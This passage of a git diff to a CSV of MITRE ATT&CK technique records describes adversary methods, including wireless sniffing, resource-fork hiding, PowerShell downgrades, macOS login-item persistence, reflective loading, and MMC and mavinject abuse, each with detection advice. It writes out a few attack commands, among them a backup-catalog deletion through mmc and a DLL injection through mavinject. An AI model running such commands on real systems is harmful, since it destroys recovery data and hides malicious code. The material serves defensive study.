'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0887,mitre-ics-attack,T0887,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Wireless Sniffing,"Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.",attack-pattern--0fe075d5-beac-4d02-b93e-0f874997db72,attack-pattern,"['discovery-ics', 'collection-ics']",2021-04-12T19:03:26.506Z,2020-05-21T17:43:26.506Z,,,['ICSCoE Japan'],,,['Windows'],,,,,,,,,,,,,, +Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0863,mitre-ics-attack,T0863,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,,, diff --git a/docs/playground/all_techniques_stix.csv b/docs/playground/all_techniques_stix.csv index f9cc0da..00a3879 100644 --- a/docs/playground/all_techniques_stix.csv +++ b/docs/playground/all_techniques_stix.csv @@ -1,112 +1,221 @@ -created,created_by_ref,description,external_references,id,kill_chain_phases,modified,name,object_marking_refs,revoked,type,x_mitre_contributors,x_mitre_data_sources,x_mitre_defense_bypassed,x_mitre_deprecated,x_mitre_detectable_by_common_defenses,x_mitre_detectable_by_common_defenses_explanation,x_mitre_detection,x_mitre_difficulty_for_adversary,x_mitre_difficulty_for_adversary_explanation,x_mitre_effective_permissions,x_mitre_impact_type,x_mitre_is_subtechnique,x_mitre_network_requirements,x_mitre_old_attack_id,x_mitre_permissions_required,x_mitre_platforms,x_mitre_remote_support,x_mitre_system_requirements,x_mitre_tactic_type,x_mitre_version -2021-04-23 01:04:57.161000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. +type,id,created_by_ref,created,modified,name,description,kill_chain_phases,external_references,object_marking_refs,x_mitre_contributors,x_mitre_data_sources,x_mitre_defense_bypassed,x_mitre_detection,x_mitre_is_subtechnique,x_mitre_permissions_required,x_mitre_platforms,x_mitre_version,x_mitre_remote_support,x_mitre_system_requirements,x_mitre_network_requirements,x_mitre_effective_permissions,x_mitre_impact_type,x_mitre_tactic_type,x_mitre_old_attack_id +attack-pattern,attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-12T20:02:31.866Z,2021-10-16T01:50:40.276Z,Resource Forking,"Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes) + +Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/009', 'external_id': 'T1564.009'}, {'source_name': 'macOS Hierarchical File System Overview', 'description': 'Tenon. (n.d.). Retrieved October 12, 2021.', 'url': 'http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'}, {'source_name': 'Resource and Data Forks', 'description': 'Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', 'url': 'https://flylib.com/books/en/4.395.1.192/1/'}, {'source_name': 'ELC Extended Attributes', 'description': ""Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."", 'url': 'https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'}, {'source_name': 'sentinellabs resource named fork 2020', 'description': 'Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', 'url': 'https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'}, {'source_name': 'tau bundlore erika noerenberg 2020', 'description': 'Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', 'url': 'https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jaron Bradley @jbradley89', 'Ivan Sinyakov']","['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution']",['Notarization; Gatekeeper'],"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. + +Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ",True,['User'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-08T14:06:28.212Z,2021-10-15T00:48:06.723Z,Downgrade Attack,"Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018) + +Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/010', 'external_id': 'T1562.010'}, {'source_name': 'CrowdStrike BGH Ransomware 2021', 'description': 'Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.', 'url': 'https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/'}, {'source_name': 'Mandiant BYOL 2018', 'description': 'Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.', 'url': 'https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'}, {'source_name': 'Praetorian TLS Downgrade Attack 2014', 'description': 'Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.', 'url': 'https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Metadata', 'Process: Process Creation']",,"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.",True,['User'],"['Windows', 'Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-05T21:26:15.081Z,2021-10-18T16:36:37.042Z,Login Items,"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled. + +Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. + +Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/015', 'external_id': 'T1547.015'}, {'source_name': 'Open Login Items Apple', 'description': 'Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.', 'url': 'https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac'}, {'source_name': 'Adding Login Items', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'}, {'source_name': 'SMLoginItemSetEnabled Schroeder 2013', 'description': 'Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021.', 'url': 'https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/'}, {'source_name': 'Launch Services Apple Developer', 'description': 'Apple. (n.d.). Launch Services. Retrieved October 5, 2021.', 'url': 'https://developer.apple.com/documentation/coreservices/launch_services'}, {'source_name': 'ELC Running at startup', 'description': 'hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.', 'url': 'https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/'}, {'source_name': 'Login Items AE', 'description': 'Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.', 'url': 'https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788'}, {'source_name': 'Startup Items Eclectic', 'description': 'hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.', 'url': 'https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/'}, {'source_name': 'hexed osx.dok analysis 2019', 'description': 'fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.', 'url': 'http://www.hexed.in/2019/07/osxdok-analysis.html'}, {'source_name': 'Add List Remove Login Items Apple Script', 'description': 'kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.', 'url': 'https://gist.github.com/kaloprominat/6111584'}, {'source_name': 'objsee mac malware 2017', 'description': 'Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.', 'url': 'https://objective-see.com/blog/blog_0x25.html'}, {'source_name': 'CheckPoint Dok', 'description': 'Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.', 'url': 'https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/'}, {'source_name': 'objsee netwire backdoor 2019', 'description': 'Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.', 'url': 'https://objective-see.com/blog/blog_0x44.html'}, {'source_name': 'objsee block blocking login items', 'description': 'Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.', 'url': 'https://objective-see.com/blog/blog_0x31.html'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}, {'source_name': 'Launch Service Keys Developer Apple', 'description': 'Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Modification', 'File: File Creation']",,"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. + +Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) + +Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",True,['User'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-05T01:15:06.293Z,2021-11-01T18:09:09.670Z,Reflective Code Loading,"Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) + +Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1620', 'external_id': 'T1620'}, {'source_name': 'Introducing Donut', 'description': 'The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.', 'url': 'https://thewover.github.io/Introducing-Donut/'}, {'source_name': 'S1 Custom Shellcode Tool', 'description': 'Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.', 'url': 'https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/'}, {'source_name': 'Stuart ELF Memory', 'description': 'Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.', 'url': 'https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html'}, {'source_name': '00sec Droppers', 'description': '0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.', 'url': 'https://0x00sec.org/t/super-stealthy-droppers/3715'}, {'source_name': 'Mandiant BYOL', 'description': 'Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021.', 'url': 'https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'}, {'source_name': 'Intezer ACBackdoor', 'description': 'Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.', 'url': 'https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/'}, {'source_name': 'S1 Old Rat New Tricks', 'description': 'Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.', 'url': 'https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/'}, {'source_name': 'MDSec Detecting DOTNET', 'description': 'MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.', 'url': 'https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['João Paulo de A. Filho, @Hug1nN__', 'Joas Antonio dos Santos, @C0d3Cr4zy', 'Shlomi Salem, SentinelOne', 'Lior Ribak, SentinelOne', 'Rex Guo, @Xiaofei_REX, Confluera']","['Script: Script Execution', 'Process: OS API Execution', 'Module: Module Load']","['Application control', 'Anti-virus']","Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks) + +Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",False,['User'],"['macOS', 'Linux', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-01T17:58:26.445Z,2021-10-07T18:19:25.352Z,Cloud Storage Object Discovery,"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. + +Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1619', 'external_id': 'T1619'}, {'source_name': 'ListObjectsV2', 'description': 'Amazon - ListObjectsV2. Retrieved October 4, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html'}, {'source_name': 'List Blobs', 'description': 'Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.', 'url': 'https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima']","['Cloud Storage: Cloud Storage Enumeration', 'Cloud Storage: Cloud Storage Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Monitor cloud logs for API calls used for file or object enumeration for unusual activity. ",False,,['IaaS'],1.0,,,,,,, +attack-pattern,attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-28T01:36:41.638Z,2021-10-16T00:13:18.889Z,MMC,"Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview) + +For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. + +Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) + +Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/014', 'external_id': 'T1218.014'}, {'source_name': 'win_mmc', 'description': 'Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc'}, {'source_name': 'what_is_mmc', 'description': 'Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.', 'url': 'https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console'}, {'source_name': 'win_msc_files_overview', 'description': 'Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.', 'url': 'https://www.ghacks.net/2017/06/10/windows-msc-files-overview/'}, {'source_name': 'win_wbadmin_delete_catalog', 'description': 'Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog'}, {'source_name': 'phobos_virustotal', 'description': 'Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.', 'url': 'https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection '}, {'source_name': 'win_clsid_key', 'description': 'Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm'}, {'source_name': 'mmc_vulns', 'description': 'Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.', 'url': 'https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/'}, {'source_name': 'abusing_com_reg', 'description': 'bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.', 'url': 'https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Wes Hurd'],"['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Application control', 'Digital Certificate Validation']","Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. + +Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ",True,"['User', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-22T17:45:10.241Z,2021-10-14T22:11:03.446Z,Mavinject,"Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) + +Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. + +In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/013', 'external_id': 'T1218.013'}, {'source_name': 'LOLBAS Mavinject', 'description': 'LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mavinject/'}, {'source_name': 'ATT Lazarus TTP Evolution', 'description': 'Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution'}, {'source_name': 'Reaqta Mavinject', 'description': 'Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.', 'url': 'https://reaqta.com/2017/12/mavinject-microsoft-injector/'}, {'source_name': 'Mavinject Functionality Deconstructed', 'description': 'Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.', 'url': 'https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. + +Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-18T14:06:45.244Z,2021-10-15T22:00:56.174Z,System Language Discovery,"Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check) + +There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) + +For example, on a Windows system adversaries 